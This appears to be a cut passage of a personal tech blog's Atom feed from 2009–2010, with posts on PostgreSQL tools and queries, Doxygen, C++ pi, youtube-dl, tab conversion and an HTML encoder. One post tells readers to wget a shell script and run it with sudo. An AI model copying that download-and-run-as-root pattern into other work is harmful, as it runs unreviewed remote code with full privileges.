url="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEgFRxfboVJdrxve2R67Bu6Q8-cxKMQ4cjMVH72QGu8fVp54uGrHa4DSYf0MNLqGTO1FoZKNV6fXUq5X3Ao0yHP04P7uedR_wp0PXB6e-Sn7gt8CTgne5tbr4QEK6T6YreNDGTKsVX3YZSQ/s72-c/SAM7R-61.jpg" height="72" width="72"/><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-2787250666802991949.post-63586772599371769</id><published>2010-07-03T15:01:00.000-07:00</published><updated>2010-07-04T17:44:33.963-07:00</updated><category scheme="http://www.blogger.com/atom/ns#" term="pg_dump"/><category scheme="http://www.blogger.com/atom/ns#" term="Postgresql"/><category scheme="http://www.blogger.com/atom/ns#" term="Technology"/><category scheme="http://www.blogger.com/atom/ns#" term="test database"/><title type='text'>pg_sample: extract a sample dataset from a larger PostgreSQL database</title><content type='html'>pg_sample is a PostgreSQL utility for making smaller versions of large databases.&lt;br /&gt;&lt;br /&gt;&lt;a href=&quot;http://github.com/downloads/mla/pg_sample/pg_sample-0-01.tgz&quot;&gt;download pg_sample 0.01&lt;/a&gt;&lt;br /&gt;&lt;br /&gt;When you have a relatively large database (tables with, say, millions or billions of rows), it can be difficult to generate smaller datasets to work with, especially if foreign keys are heavily used.&lt;br /&gt;&lt;br /&gt;That&#39;s where this script comes in. It will create smaller instances of each table along with any additional rows needed to satisfy foreign key constraints (circular dependencies are supported).&lt;br /&gt;&lt;br /&gt;The script&#39;s operation closely resembles that of &lt;a href=&quot;http://www.postgresql.org/docs/current/static/app-pgdump.html&quot;&gt;pg_dump&lt;/a&gt;. For example, assuming we have a large database named &lt;em&gt;largedb&lt;/em&gt;, a smaller version could be produced with:&lt;br /&gt;&lt;pre class=&quot;brush:text; gutter:false&quot;&gt;&lt;br /&gt;  createdb smalldb&lt;br /&gt;  pg_sample largedb | psql smalldb&lt;br /&gt;&lt;/pre&gt;The smalldb would then contain a subset of largedb&#39;s data.&lt;br /&gt;&lt;br /&gt;Here are the command-line options (many of which mirror pg_dump):&lt;br /&gt;&lt;pre class=&quot;brush:text; gutter:false&quot;&gt;&lt;br /&gt;    -a&lt;br /&gt;    --data-only&lt;br /&gt;        Output only the data, not the schema (data definitions).&lt;br /&gt;&lt;br /&gt;    -E *encoding*&lt;br /&gt;    --encoding=*encoding*&lt;br /&gt;        Use the specified character set encoding. If not specified, uses the&lt;br /&gt;        environment variable PGCLIENTENCODING, if defined; otherwise, uses&lt;br /&gt;        the encoding of the database.&lt;br /&gt;&lt;br /&gt;    -f *file*&lt;br /&gt;    --file=*file*&lt;br /&gt;        Send output to the specified file. If omitted, standard output is&lt;br /&gt;        used.&lt;br /&gt;&lt;br /&gt;    --force&lt;br /&gt;        Drop the sample schema if it exists.&lt;br /&gt;&lt;br /&gt;    --keep&lt;br /&gt;        Don&#39;t delete the sample schema when the script finishes.&lt;br /&gt;&lt;br /&gt;    --limit=*number*&lt;br /&gt;        The maximum number of rows to initially copy from each table&lt;br /&gt;        (defaults to 100). Note that sample tables may end up with&lt;br /&gt;        significantly more rows in order to satisfy foreign key constraints.&lt;br /&gt;&lt;br /&gt;    --random&lt;br /&gt;        Randomize the rows initially selected from each table. May&lt;br /&gt;        significantly increase the running time of the script.&lt;br /&gt;&lt;br /&gt;    --schema=*name*&lt;br /&gt;        The schema name to use for the sample database (defaults to&lt;br /&gt;        _pg_sample).&lt;br /&gt;&lt;br /&gt;    --trace&lt;br /&gt;        Turn on Perl DBI tracing. See the DBI module documentation for&lt;br /&gt;        details.&lt;br /&gt;&lt;br /&gt;    --verbose&lt;br /&gt;        Output status information to standard error.&lt;br /&gt;&lt;br /&gt;    The following options control the database connection parameters.&lt;br /&gt;&lt;br /&gt;    -h *host*&lt;br /&gt;    --host=*host*&lt;br /&gt;        The host name to connect to. Defaults to the PGHOST environment&lt;br /&gt;        variable if not specified.&lt;br /&gt;&lt;br /&gt;    -p *port*&lt;br /&gt;    --port=*port*&lt;br /&gt;        The database port to connect to. Defaults to the PGPORT environment&lt;br /&gt;        variable, if set; otherwise, the default port is used.&lt;br /&gt;&lt;br /&gt;    -U *username*&lt;br /&gt;    --username=*username*&lt;br /&gt;        User name to connect as.&lt;br /&gt;&lt;br /&gt;    -W *password*&lt;br /&gt;    -password=*password*&lt;br /&gt;        Password to connect with.&lt;br /&gt;&lt;/pre&gt;See also: &lt;a href=&quot;http://github.com/mla/pg_sample&quot;&gt;pg_sample Github source repository&lt;/a&gt;</content><link rel='replies' type='application/atom+xml' href='http://mlawire.blogspot.com/feeds/63586772599371769/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment/fullpage/post/2787250666802991949/63586772599371769' title='0 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/2787250666802991949/posts/default/63586772599371769'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/2787250666802991949/posts/default/63586772599371769'/><link rel='alternate' type='text/html' href='http://mlawire.blogspot.com/2010/07/postgresql-test-database-sample.html' title='pg_sample: extract a sample dataset from a larger PostgreSQL database'/><author><name>Unknown</name><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='https://img1.blogblog.com/img/b16-rounded.gif'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-2787250666802991949.post-1215759401476611044</id><published>2010-05-09T15:51:00.001-07:00</published><updated>2013-12-01T14:09:45.143-08:00</updated><title type='text'>ip2host 1.11 Release</title><content type='html'>A new release of ip2host is available. It&#39;s a small maintenance release incorporating changes from the Debian package maintainer. The source repository has also been moved to Github.&lt;br /&gt;
&lt;br /&gt;
&lt;a href=&quot;http://github.com/mla/ip2host&quot;&gt;http://github.com/mla/ip2host&lt;/a&gt;&lt;br /&gt;
&lt;br /&gt;
&lt;pre class=&quot;brush:text; gutter:false&quot;&gt;
DESCRIPTION

    Resolves IPs to hostnames in web server logs. This is a faster, drop-in
    replacement for the logresolve utility distributed with the Apache web
    server.

CHANGELOG

ip2host 1.11

  * Silence warnings thanks to Andrew McNaughton and Gunnar Wolf
    http://bugs.debian.org/cgi-bin/bugreport.cgi?bug=563129&lt;/pre&gt;
</content><link rel='replies' type='application/atom+xml' href='http://mlawire.blogspot.com/feeds/1215759401476611044/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment/fullpage/post/2787250666802991949/1215759401476611044' title='0 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/2787250666802991949/posts/default/1215759401476611044'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/2787250666802991949/posts/default/1215759401476611044'/><link rel='alternate' type='text/html' href='http://mlawire.blogspot.com/2010/05/ip2host-111-release.html' title='ip2host 1.11 Release'/><author><name>Unknown</name><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='https://img1.blogblog.com/img/b16-rounded.gif'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-2787250666802991949.post-3174758310153604285</id><published>2010-05-08T18:26:00.000-07:00</published><updated>2010-07-27T18:48:57.438-07:00</updated><category scheme="http://www.blogger.com/atom/ns#" term="64bit linux"/><category scheme="http://www.blogger.com/atom/ns#" term="adobe air"/><category scheme="http://www.blogger.com/atom/ns#" term="Technology"/><category scheme="http://www.blogger.com/atom/ns#" term="Ubuntu"/><title type='text'>Installing Adobe AIR on 64-bit Ubuntu 9.10 Linux</title><content type='html'>Adobe AIR isn&#39;t currently available for 64-bit Linux, but they provide &lt;a href=&quot;http://kb2.adobe.com/cps/408/kb408084.html&quot;&gt;instructions on running the 32-bit version&lt;/a&gt;.&lt;br /&gt;&lt;br /&gt;I&#39;ve converted the Ubuntu instructions into this shell script:&lt;br /&gt;&lt;a href=&quot;http://sites.google.com/site/mlawire/installing-adobe-air-1-5-on-64-bit-ubuntu-linux/install-adobe-air-ubuntu-64bit.sh&quot;&gt;http://sites.google.com/site/mlawire/installing-adobe-air-1-5-on-64-bit-ubuntu-linux/install-adobe-air-ubuntu-64bit.sh&lt;/a&gt;&lt;br /&gt;&lt;br /&gt;From a terminal:&lt;br /&gt;&lt;pre class=&quot;brush:shell&quot;&gt;&lt;br /&gt;wget http://sites.google.com/site/mlawire/installing-adobe-air-1-5-on-64-bit-ubuntu-linux/install-adobe-air-ubuntu-64bit.sh&lt;br /&gt;chmod a+rx install-adobe-air-ubuntu-64bit.sh&lt;br /&gt;sudo ./install-adobe-air-ubuntu-64bit.sh&lt;br /&gt;&lt;/pre&gt;This worked for me on Ubuntu 9.10. Please let me know if you try it on other Ubuntu releases or otherwise have trouble with it.&lt;br /&gt;&lt;br /&gt;Keywords: Installing Adobe AIR 64-bit Linux Ubuntu</content><link rel='replies' type='application/atom+xml' href='http://mlawire.blogspot.com/feeds/3174758310153604285/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment/fullpage/post/2787250666802991949/3174758310153604285' title='0 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/2787250666802991949/posts/default/3174758310153604285'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/2787250666802991949/posts/default/3174758310153604285'/><link rel='alternate' type='text/html' href='http://mlawire.blogspot.com/2010/05/installing-adobe-air-on-64-bit-ubuntu.html' title='Installing Adobe AIR on 64-bit Ubuntu 9.10 Linux'/><author><name>Unknown</name><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='https://img1.blogblog.com/img/b16-rounded.gif'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-2787250666802991949.post-2431296936704433963</id><published>2009-10-12T22:37:00.001-07:00</published><updated>2010-05-08T14:14:31.789-07:00</updated><title type='text'>Doxygen Example</title><content type='html'>Doxygen is a documentation system for use with many languages, including C++, C, Java, and Python.&lt;br /&gt;&lt;br /&gt;First, install Doxygen. Using Ubuntu, I installed the package with:&lt;br /&gt;&lt;pre class=&quot;brush:bash; gutter:false&quot;&gt;$ apt-get install doxygen&lt;/pre&gt;Next. enter the source directory of a project you&#39;re working on and run:&lt;br /&gt;&lt;pre class=&quot;brush:bash; gutter:false&quot;&gt;$ doxygen -g&lt;/pre&gt;That will create a config file named Doxyfile in the current directory. You can customize it, but we&#39;ll accept the defaults for now.&lt;br /&gt;&lt;br /&gt;Now begin writing your documentation. Here&#39;s an example of documenting a simple C++ program:&lt;br /&gt;&lt;pre class=&quot;brush:cpp&quot;&gt;&lt;br /&gt;#include &amp;lt;iostream&amp;gt;&lt;br /&gt;&lt;br /&gt;using namespace std;&lt;br /&gt;&lt;br /&gt;/**&lt;br /&gt; * @brief Example class to demonstrate basic Doxygen usage&lt;br /&gt; * @author MLA&lt;br /&gt; *&lt;br /&gt; * This is a simple class to demonstrate how Doxygen is used.&lt;br /&gt; * It implements the Euclidean algorithm to compute the greatest&lt;br /&gt; * common divisor of two numbers.&lt;br /&gt; */&lt;br /&gt;&lt;br /&gt;class Euclid {&lt;br /&gt;  public:&lt;br /&gt;    &lt;br /&gt;    /**&lt;br /&gt;     * Compute the greatest common divisor of two integers.&lt;br /&gt;     *&lt;br /&gt;     * @param a first integer&lt;br /&gt;     * @param b second integer&lt;br /&gt;     * @return greatest common divisor of a and b&lt;br /&gt;     */&lt;br /&gt;    static const int gcd(const int a, const int b) {&lt;br /&gt;      if (0 == b) return a;&lt;br /&gt;      return gcd(b, a % b);&lt;br /&gt;    }&lt;br /&gt;};&lt;/pre&gt;&lt;br /&gt;Finally, run doxygen, which will process the files and generate documentation in the &lt;i&gt;html&lt;/i&gt; subdirectory:&lt;br /&gt;&lt;pre class=&quot;brush:bash; gutter:false&quot;&gt;$ doxygen&lt;/pre&gt;For more details, see the &lt;a href=&quot;http://www.stack.nl/~dimitri/doxygen/&quot;&gt;Doxygen homepage&lt;/a&gt;.</content><link rel='replies' type='application/atom+xml' href='http://mlawire.blogspot.com/feeds/2431296936704433963/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment/fullpage/post/2787250666802991949/2431296936704433963' title='0 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/2787250666802991949/posts/default/2431296936704433963'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/2787250666802991949/posts/default/2431296936704433963'/><link rel='alternate' type='text/html' href='http://mlawire.blogspot.com/2009/10/doxygen-examples-doxygen-quickstart.html' title='Doxygen Example'/><author><name>Unknown</name><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='https://img1.blogblog.com/img/b16-rounded.gif'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-2787250666802991949.post-661304177539402228</id><published>2009-08-17T23:20:00.000-07:00</published><updated>2009-09-25T20:59:55.265-07:00</updated><category scheme="http://www.blogger.com/atom/ns#" term="acos"/><category scheme="http://www.blogger.com/atom/ns#" term="arccosine"/><category scheme="http://www.blogger.com/atom/ns#" term="C"/><category scheme="http://www.blogger.com/atom/ns#" term="C++"/><category scheme="http://www.blogger.com/atom/ns#" term="Constant"/><category scheme="http://www.blogger.com/atom/ns#" term="PI Approximation"/><category scheme="http://www.blogger.com/atom/ns#" term="Technology"/><title type='text'>C++ Constant for PI</title><content type='html'>&lt;i&gt;Where&#39;s the definition for pi? Doesn&#39;t C++ provide a constant? What about C?&lt;/i&gt;&lt;br /&gt;&lt;br /&gt;The C++ standard doesn&#39;t provide a value for pi but it&#39;s simple to define yourself:&lt;br /&gt;&lt;pre class=&quot;brush:cpp&quot;&gt;&lt;br /&gt;#include &amp;lt;iostream&amp;gt;&lt;br /&gt;#include &amp;lt;cmath&amp;gt; // M_PI is not standard&lt;br /&gt;&lt;br /&gt;using namespace std;&lt;br /&gt;&lt;br /&gt;class MathConst {&lt;br /&gt;  public:&lt;br /&gt;    static const long double PI;&lt;br /&gt;};&lt;br /&gt;&lt;br /&gt;const long double MathConst::PI = acos((long double) -1);&lt;br /&gt;&lt;br /&gt;int main() {&lt;br /&gt;  cout.precision(100);&lt;br /&gt;  cout &amp;lt;&amp;lt; &amp;quot;PI ~ &amp;quot; &amp;lt;&amp;lt; MathConst::PI &amp;lt;&amp;lt; endl;&lt;br /&gt;}&lt;br /&gt;&lt;/pre&gt;Output:&lt;pre class=&quot;brush:shell&quot;&gt;&lt;br /&gt;$ g++ MathConst.cpp -o pi&lt;br /&gt;$ ./pi &lt;br /&gt;PI ~ 3.14159265358979323851280895940618620443274267017841339111328125&lt;br /&gt;&lt;/pre&gt;That is accurate to 18 decimal places.&lt;br /&gt;&lt;br /&gt;Here&#39;s a definition in C:&lt;pre class=&quot;brush:cpp&quot;&gt;&lt;br /&gt;#include &amp;lt;math.h&amp;gt;&lt;br /&gt;#include &amp;lt;stdio.h&amp;gt;&lt;br /&gt;&lt;br /&gt;double pi() {&lt;br /&gt;  const double pi = acos((double) - 1);&lt;br /&gt;  return pi;&lt;br /&gt;}&lt;br /&gt;&lt;br /&gt;int main() {&lt;br /&gt;  printf(&amp;quot;%.20f\n&amp;quot;, pi());&lt;br /&gt;  return 0;&lt;br /&gt;}&lt;br /&gt;&lt;/pre&gt;</content><link rel='replies' type='application/atom+xml' href='http://mlawire.blogspot.com/feeds/661304177539402228/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment/fullpage/post/2787250666802991949/661304177539402228' title='2 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/2787250666802991949/posts/default/661304177539402228'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/2787250666802991949/posts/default/661304177539402228'/><link rel='alternate' type='text/html' href='http://mlawire.blogspot.com/2009/08/c-where-is-pi-defined.html' title='C++ Constant for PI'/><author><name>Unknown</name><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='https://img1.blogblog.com/img/b16-rounded.gif'/></author><thr:total>2</thr:total></entry><entry><id>tag:blogger.com,1999:blog-2787250666802991949.post-5543417816641294144</id><published>2009-08-05T20:50:00.001-07:00</published><updated>2013-12-05T18:25:41.598-08:00</updated><category scheme="http://www.blogger.com/atom/ns#" term="find foreign keys"/><category scheme="http://www.blogger.com/atom/ns#" term="find missing indexes"/><category scheme="http://www.blogger.com/atom/ns#" term="Foreign Key"/><category scheme="http://www.blogger.com/atom/ns#" term="Indexes"/><category scheme="http://www.blogger.com/atom/ns#" term="list foreign keys"/><category scheme="http://www.blogger.com/atom/ns#" term="Performance"/><category scheme="http://www.blogger.com/atom/ns#" term="Postgresql"/><category scheme="http://www.blogger.com/atom/ns#" term="Technology"/><title type='text'>Postgresql: Indexes on Foreign Keys</title><content type='html'>This query identifies foreign keys that are potentially missing indexes (Postgresql does not create indexes on foreign keys automatically).&lt;br /&gt;
&lt;pre class=&quot;brush:sql&quot;&gt;/*
  Look for foreign key constraints that are missing indexes on the
  referencing table.

  Orders results by the size of the referencing table, largest first,
  on the assumption that, all else being equal, they are the most likely
  to benefit from the addition of indexes.

  This is only meant as a starting point, and isn&#39;t perfect.
  It&#39;s possible, for example, that it will report a missing index
  when in fact one is available. e.g., it won&#39;t realize that an index on
  (f1, f2) could be used with a fk on (f1). However, it will recognize
  that an index on (f1, f2) can be used with a fk on (f2, f1).

  Usage: psql -q dbname -f pg-find-missing-fk-indexes.sql
*/

CREATE FUNCTION pg_temp.sortarray(int2[]) returns int2[] as &#39;
  SELECT ARRAY(
      SELECT $1[i]
        FROM generate_series(array_lower($1, 1), array_upper($1, 1)) i
    ORDER BY 1
  )
&#39; language sql;

  SELECT conrelid::regclass
         ,conname
         ,reltuples::bigint
    FROM pg_constraint
         JOIN pg_class ON (conrelid = pg_class.oid)
   WHERE contype = &#39;f&#39;
         AND NOT EXISTS (
           SELECT 1
             FROM pg_index
            WHERE indrelid = conrelid
                  AND pg_temp.sortarray(conkey) = pg_temp.sortarray(indkey)
         )
ORDER BY reltuples DESC
;&lt;/pre&gt;
</content><link rel='replies' type='application/atom+xml' href='http://mlawire.blogspot.com/feeds/5543417816641294144/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment/fullpage/post/2787250666802991949/5543417816641294144' title='5 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/2787250666802991949/posts/default/5543417816641294144'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/2787250666802991949/posts/default/5543417816641294144'/><link rel='alternate' type='text/html' href='http://mlawire.blogspot.com/2009/08/postgresql-indexes-on-foreign-keys.html' title='Postgresql: Indexes on Foreign Keys'/><author><name>Unknown</name><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='https://img1.blogblog.com/img/b16-rounded.gif'/></author><thr:total>5</thr:total></entry><entry><id>tag:blogger.com,1999:blog-2787250666802991949.post-3129962663272700317</id><published>2009-08-01T19:32:00.000-07:00</published><updated>2009-08-01T20:25:06.280-07:00</updated><category scheme="http://www.blogger.com/atom/ns#" term="download video"/><category scheme="http://www.blogger.com/atom/ns#" term="download youtube"/><category scheme="http://www.blogger.com/atom/ns#" term="save youtube video"/><category scheme="http://www.blogger.com/atom/ns#" term="Technology"/><title type='text'>Linux: Download YouTube Videos</title><content type='html'>Install the youtube-dl script. With Ubuntu:&lt;br /&gt;&lt;pre class=&quot;brush:text; gutter:false&quot;&gt;&lt;br /&gt;sudo apt-get install youtube-dl&lt;br /&gt;&lt;/pre&gt;Next, find the YouTube video you want to download and pass it to the script:&lt;br /&gt;&lt;pre class=&quot;brush:text; gutter:false; auto-links:false&quot;&gt;&lt;br /&gt;youtube-dl -b -t &amp;quot;http://www.youtube.com/watch?v=aEXFUbSbg1I&amp;quot;&lt;br /&gt;&lt;/pre&gt;Command-line options:&lt;br /&gt;&lt;pre class=&quot;brush:text; gutter:false&quot;&gt;&lt;br /&gt;Usage: youtube-dl [options] video_url&lt;br /&gt;&lt;br /&gt;Options:&lt;br /&gt;  -h, --help            print this help text and exit&lt;br /&gt;  -v, --version         print program version and exit&lt;br /&gt;  -u USERNAME, --username=USERNAME&lt;br /&gt;                        account username&lt;br /&gt;  -p PASSWORD, --password=PASSWORD&lt;br /&gt;                        account password&lt;br /&gt;  -o FILE, --output=FILE&lt;br /&gt;                        output video file name&lt;br /&gt;  -q, --quiet           activates quiet mode&lt;br /&gt;  -s, --simulate        do not download video&lt;br /&gt;  -t, --title           use title in file name&lt;br /&gt;  -l, --literal         use literal title in file name&lt;br /&gt;  -n, --netrc           use .netrc authentication data&lt;br /&gt;  -g, --get-url         print final video URL only&lt;br /&gt;  -2, --title-too       used with -g, print title too&lt;br /&gt;  -f FORMAT, --format=FORMAT&lt;br /&gt;                        append &amp;fmt=FORMAT to the URL&lt;br /&gt;  -b, --best-quality    alias for -f 18&lt;br /&gt;&lt;/pre&gt;See also: &lt;a href=&quot;http://bitbucket.org/rg3/youtube-dl/wiki/Home&quot;&gt;youtube-dl Homepage&lt;/a&gt;</content><link rel='replies' type='application/atom+xml' href='http://mlawire.blogspot.com/feeds/3129962663272700317/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment/fullpage/post/2787250666802991949/3129962663272700317' title='0 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/2787250666802991949/posts/default/3129962663272700317'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/2787250666802991949/posts/default/3129962663272700317'/><link rel='alternate' type='text/html' href='http://mlawire.blogspot.com/2009/08/linux-download-youtube-videos.html' title='Linux: Download YouTube Videos'/><author><name>Unknown</name><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='https://img1.blogblog.com/img/b16-rounded.gif'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-2787250666802991949.post-4157015133764661598</id><published>2009-07-26T00:51:00.000-07:00</published><updated>2013-12-03T11:43:33.328-08:00</updated><category scheme="http://www.blogger.com/atom/ns#" term="change tabs to spaces"/><category scheme="http://www.blogger.com/atom/ns#" term="convert tabs"/><category scheme="http://www.blogger.com/atom/ns#" term="Linux"/><category scheme="http://www.blogger.com/atom/ns#" term="OS X"/><category scheme="http://www.blogger.com/atom/ns#" term="OSX"/><category scheme="http://www.blogger.com/atom/ns#" term="tabs to spaces"/><category scheme="http://www.blogger.com/atom/ns#" term="Unix"/><title type='text'>Eight Ways to Convert Tabs to Spaces</title><content type='html'>A collection of various ways to convert tabs to spaces in Unix/Linux/OS X with standard programs and utilities.&lt;br /&gt;
&lt;pre class=&quot;brush:text; gutter:false&quot;&gt;#1 expand/unexpand utilities
expand &amp;lt; input.txt &amp;gt; output.txt

#2 Sed
sed &#39;s/\t/ /g&#39; &amp;lt; input.txt &amp;gt; output.txt

#3 Awk
awk &#39;{ gsub(/\t/, &quot;  &quot;); print }&#39; &amp;lt; input.txt &amp;gt; output.txt

#4 Perl
perl -pe &#39;s/\t/  /g&#39; &amp;lt; input.txt &amp;gt; output.txt

#5 Ruby
ruby -pe &#39;$_.gsub!(/\t/, &quot;  &quot;)&#39; &amp;lt; input.txt &amp;gt; output.txt

#6a Vim editor
:set expandtab
:%retab! 

#6b Vim editor
:%s/\t/  /g

#7 Emacs editor
Set &#39;indent-tabs-mode&#39; to nil to have tabs automatically converted to spaces.
To convert a region, &quot;M-x untabify&quot; will change tabs to spaces and &quot;M-x tabify&quot; will do the inverse.

#8 cut
cut -f1- --output-delimiter=&#39;  &#39; &amp;lt; input.txt &amp;gt; output.txt&lt;/pre&gt;
</content><link rel='replies' type='application/atom+xml' href='http://mlawire.blogspot.com/feeds/4157015133764661598/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment/fullpage/post/2787250666802991949/4157015133764661598' title='7 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/2787250666802991949/posts/default/4157015133764661598'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/2787250666802991949/posts/default/4157015133764661598'/><link rel='alternate' type='text/html' href='http://mlawire.blogspot.com/2009/07/convert-tabs-to-spaces.html' title='Eight Ways to Convert Tabs to Spaces'/><author><name>Unknown</name><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='https://img1.blogblog.com/img/b16-rounded.gif'/></author><thr:total>7</thr:total></entry><entry><id>tag:blogger.com,1999:blog-2787250666802991949.post-7425444738705001474</id><published>2009-07-25T22:24:00.000-07:00</published><updated>2010-07-27T17:08:20.731-07:00</updated><category scheme="http://www.blogger.com/atom/ns#" term="Encode HTML"/><category scheme="http://www.blogger.com/atom/ns#" term="Escape HTML"/><category scheme="http://www.blogger.com/atom/ns#" term="HTML Entities"/><category scheme="http://www.blogger.com/atom/ns#" term="HTML Entity"/><category scheme="http://www.blogger.com/atom/ns#" term="HTML Literal"/><category scheme="http://www.blogger.com/atom/ns#" term="Post HTML"/><category scheme="http://www.blogger.com/atom/ns#" term="Technology"/><title type='text'>Web: HTML Encoder</title><content type='html'>&lt;script type=&quot;text/javascript&quot;&gt;function $(id){ return document.getElementById(id) } var char2entity = { &quot;&#39;&quot; : &#39;&amp;#39;&#39;, &#39;&quot;&#39; : &#39;&amp;quot;&#39;,  &#39;&lt;&#39; : &#39;&amp;lt;&#39;, &#39;&gt;&#39; : &#39;&amp;gt;&#39;,  &#39;&amp;&#39; : &#39;&amp;amp;&#39;}; function encode_entities(str) {   var rv = &#39;&#39;;  for (var i = 0; i &lt; str.length; i++) {    var ch = str.charAt(i);    rv += char2entity[ch] || ch;  }   return rv;} function do_encode(e){  $(&#39;dst&#39;).value = encode_entities(e.value)}&lt;/script&gt;&lt;p&gt;This page will convert HTML special characters into HTML entities. The encoded text can then be inserted into another HTML document or blog posting and the reserved characters (such as &amp;lt; and &amp;amp;) will show up normally.&lt;/p&gt;&lt;p&gt;Enter your text in the form field below. The encoded result will be displayed in the lower field as you type.&lt;/p&gt;&lt;noscript&gt;&lt;div style=&quot;margin: 1em 0&quot;&gt;&lt;span style=&quot;color:red; font-weight: bold&quot;&gt;This page requires Javascript. You currently have Javascript disabled.&lt;/span&gt;&lt;br /&gt;&lt;a href=&quot;http://mail.google.com/support/bin/answer.py?hl=en&amp;amp;answer=23852&quot;&gt;Instructions for enabling Javascript on your browser&lt;/a&gt;&lt;/div&gt;&lt;/noscript&gt;&lt;p&gt;&lt;strong&gt;Enter HTML to Encode:&lt;/strong&gt;&lt;/p&gt;&lt;textarea style=&quot;width:40em; height: 10em; font-family:monospace&quot; cols=&quot;40&quot; rows=&quot;10&quot; onkeyup=&quot;do_encode(this)&quot; onchange=&quot;do_encode(this)&quot;&gt;&lt;/textarea&gt;&lt;br /&gt;&lt;p&gt;&lt;strong&gt;HTML Encoded Result: (Click to Select All)&lt;/strong&gt;&lt;/p&gt;&lt;textarea style=&quot;width:40em; height: 10em; font-family:monospace&quot; cols=&quot;40&quot; rows=&quot;10&quot; id=&quot;dst&quot; onfocus=&quot;this.select()&quot; onclick=&quot;this.select()&quot; readonly=&quot;readonly&quot;&gt;&lt;/textarea&gt;&lt;p&gt;The HTML encoding is performed with this Javascript function:&lt;/p&gt;&lt;pre class=&quot;brush:js&quot;&gt;/* encode html entities */&lt;br /&gt;var char2entity = {  &amp;#39;&amp;quot;&amp;#39; : &amp;#39;&amp;amp;quot;&amp;#39;,  &amp;#39;&amp;lt;&amp;#39; : &amp;#39;&amp;amp;lt;&amp;#39;,  &amp;#39;&amp;gt;&amp;#39; : &amp;#39;&amp;amp;gt;&amp;#39;,  &amp;#39;&amp;amp;&amp;#39; : &amp;#39;&amp;amp;amp;&amp;#39;,  &amp;quot;&amp;#39;&amp;quot; : &amp;#39;&amp;amp;#39;&amp;#39; }; /* IE can&amp;#39;t handle &amp;amp;apos; */&lt;br /&gt;function encode_entities(str) {&lt;br /&gt;  var rv = &amp;#39;&amp;#39;;&lt;br /&gt;  for (var i = 0; i &amp;lt; str.length; i++) {&lt;br /&gt;    var ch = str.charAt(i);&lt;br /&gt;    rv += char2entity[ch] || ch;  &lt;br /&gt;  }  &lt;br /&gt;  return rv;&lt;br /&gt;}&lt;/pre&gt;See also: &lt;a href=&quot;http://mlawire.blogspot.com/2009/07/alias-for-quickly-encodingdecoding-html.html&quot;&gt;handy shell function for html encoding&lt;/a&gt;.&lt;br /&gt;&lt;br /&gt;Keywords: html encoding, html encoder</content><link rel='replies' type='application/atom+xml' href='http://mlawire.blogspot.com/feeds/7425444738705001474/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment/fullpage/post/2787250666802991949/7425444738705001474' title='3 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/2787250666802991949/posts/default/7425444738705001474'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/2787250666802991949/posts/default/7425444738705001474'/><link rel='alternate' type='text/html' href='http://mlawire.blogspot.com/2009/07/html-encoder-encode-html-entities.html' title='Web: HTML Encoder'/><author><name>Unknown</name><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='https://img1.blogblog.com/img/b16-rounded.gif'/></author><thr:total>3</thr:total></entry><entry><id>tag:blogger.com,1999:blog-2787250666802991949.post-3042097464401665939</id><published>2009-07-25T18:21:00.000-07:00</published><updated>2009-08-01T14:54:16.392-07:00</updated><category scheme="http://www.blogger.com/atom/ns#" term="Firefox"/><category scheme="http://www.blogger.com/atom/ns#" term="Multiple Copies"/><category 